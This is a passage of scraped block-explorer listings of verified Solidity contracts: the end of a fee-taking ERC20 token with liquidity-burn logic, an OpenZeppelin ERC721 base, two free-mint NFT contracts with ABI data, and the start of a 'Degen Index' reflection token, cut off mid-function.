sellDevFee; require(sellTotalFees <= 11, "Must keep fees at 11% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } //when sell else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }

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v0.8.10+commit.fc410830

Default

MIT

ipfs://67ab8302bff028b804c760ad85ee8bee7c314dabf925de8496b64f80a96c7e2c

BunnyBeside

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol

0xeb0a011a68e854a8acce43cb076fb639a5e69492

Solidity

// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: address zero is not a valid owner"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overridden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits an {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } pragma solidity ^0.8.0; contract BunnyBeside is ERC721A, Ownable { using Strings for uint256; string private baseURI; uint256 public price = 0.003 ether; uint256 public maxPerTx = 10; uint256 public maxFreePerWallet = 1; uint256 public totalFree = 3333; uint256 public maxSupply = 3333; bool public mintEnabled = false; mapping(address => uint256) private _mintedFreeAmount; constructor() ERC721A("Bunny Beside", "BB") { _safeMint(msg.sender, 5); setBaseURI("ipfs://QmdyrYgxA35qXLYN2oG13FLGQoRBLtAq5jhQ4YASBMF8B5/"); } function mint(uint256 count) external payable { uint256 cost = price; bool isFree = ((totalSupply() + count < totalFree + 1) && (_mintedFreeAmount[msg.sender] + count <= maxFreePerWallet)); if (isFree) { cost = 0; } require(msg.value >= count * cost, "Please send the exact amount."); require(totalSupply() + count < maxSupply + 1, "No more"); require(mintEnabled, "Minting is not live yet"); require(count < maxPerTx + 1, "Max per TX reached."); if (isFree) { _mintedFreeAmount[msg.sender] += count; } _safeMint(msg.sender, count); } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); return string(abi.encodePacked(baseURI, tokenId.toString(), ".json")); } function setBaseURI(string memory uri) public onlyOwner { baseURI = uri; } function setFreeAmount(uint256 amount) external onlyOwner { totalFree = amount; } function setPrice(uint256 _newPrice) external onlyOwner { price = _newPrice; } function flipSale() external onlyOwner { mintEnabled = !mintEnabled; } function withdraw() external onlyOwner { (bool success, ) = payable(msg.sender).call{ value: address(this).balance }(""); require(success, "Transfer failed."); } }

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v0.8.7+commit.e28d00a7

Default

MIT

ipfs://e3ce2c12bdec94b87418af52465541c40e787576239f3cbdda05559d00789139

CrocDocsinCrocs

contracts/CrocDocsinCrocs.sol

0x788f5174d1536e6cf91faa0717ffee2a687dfc34

Solidity

/** _________ ________ .__ _________ \_ ___ \_______ ____ ____ \______ \ ____ ____ ______ |__| ____ \_ ___ \_______ ____ ____ ______ / \ \/\_ __ \/ _ \_/ ___\ | | \ / _ \_/ ___\ / ___/ | |/ \ / \ \/\_ __ \/ _ \_/ ___\ / ___/ \ \____| | \( <_> ) \___ | ` ( <_> ) \___ \___ \ | | | \ \ \____| | \( <_> ) \___ \___ \ \______ /|__| \____/ \___ > /_______ /\____/ \___ >____ > |__|___| / \______ /|__| \____/ \___ >____ > \/ \/ \/ \/ \/ \/ \/ \/ \/ */

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v0.8.7+commit.e28d00a7

Default

CrocDocsinCrocs

contracts/CrocDocsinCrocs.sol

0x788f5174d1536e6cf91faa0717ffee2a687dfc34

Solidity

pragma solidity ^0.8.0; contract CrocDocsinCrocs is ERC721A, Ownable, ReentrancyGuard { using Address for address; using Strings for uint; string public baseTokenURI = "ipfs://QmeiHhkn4UNrib1wrUE9LuUhCCoRso6mtJVH4UCLULiRq7/"; uint256 public maxSupply = 999; uint256 public MAX_MINTS_PER_TX = 1; uint256 public PUBLIC_SALE_PRICE = 0.00 ether; uint256 public NUM_FREE_MINTS = 999; uint256 public MAX_FREE_PER_WALLET = 1; uint256 public freeNFTAlreadyMinted = 0; bool public isPublicSaleActive = false; constructor( ) ERC721A("Croc Docs in Crocs", "CROCS") { } function mint(uint256 numberOfTokens) external payable { require(isPublicSaleActive, "Public sale is not open"); require(totalSupply() + numberOfTokens < maxSupply + 1, "No more"); if(freeNFTAlreadyMinted + numberOfTokens > NUM_FREE_MINTS){ require( (PUBLIC_SALE_PRICE * numberOfTokens) <= msg.value, "Incorrect ETH value sent" ); } else { if (balanceOf(msg.sender) + numberOfTokens > MAX_FREE_PER_WALLET) { require( (PUBLIC_SALE_PRICE * numberOfTokens) <= msg.value, "Incorrect ETH value sent" ); require( numberOfTokens <= MAX_MINTS_PER_TX, "Max mints per transaction exceeded" ); } else { require( numberOfTokens <= MAX_FREE_PER_WALLET, "Max mints per transaction exceeded" ); freeNFTAlreadyMinted += numberOfTokens; } } _safeMint(msg.sender, numberOfTokens); } function setBaseURI(string memory baseURI) public onlyOwner { baseTokenURI = baseURI; } function treasuryMint(uint quantity) public onlyOwner { require( quantity > 0, "Invalid mint amount" ); require( totalSupply() + quantity <= maxSupply, "Maximum supply exceeded" ); _safeMint(msg.sender, quantity); } function withdraw() public onlyOwner nonReentrant { Address.sendValue(payable(msg.sender), address(this).balance); } function tokenURI(uint _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); return string(abi.encodePacked(baseTokenURI, "/", _tokenId.toString(), ".json")); } function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; } function setIsPublicSaleActive(bool _isPublicSaleActive) external onlyOwner { isPublicSaleActive = _isPublicSaleActive; } function setNumFreeMints(uint256 _numfreemints) external onlyOwner { NUM_FREE_MINTS = _numfreemints; } function setSalePrice(uint256 _price) external onlyOwner { PUBLIC_SALE_PRICE = _price; } function setMaxLimitPerTransaction(uint256 _limit) external onlyOwner { MAX_MINTS_PER_TX = _limit; } function setFreeLimitPerWallet(uint256 _limit) external onlyOwner { MAX_FREE_PER_WALLET = _limit; } }

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nction"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_limit","type":"uint256"}],"name":"setFreeLimitPerWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_isPublicSaleActive","type":"bool"}],"name":"setIsPublicSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_limit","type":"uint256"}],"name":"setMaxLimitPerTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_numfreemints","type":"uint256"}],"name":"setNumFreeMints","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_price","type":"uint256"}],"name":"setSalePrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"}],"name":"treasuryMint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

v0.8.7+commit.e28d00a7

Default

DegenIndex

DegenIndex.sol

0x38add78c2ffc1b095fcb9cf7500f1ba61bb0b20c

Solidity

/* Website: https://degenindex.pro/ Twitter: https://twitter.com/Degen_Index Telegram: https://t.me/degenindex */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DegenIndex is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "Degen Index"; string private constant _symbol = "Degen Index"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x01942582bfe6e5dF05c053Ed1E6704DEba92E700); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 2; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; 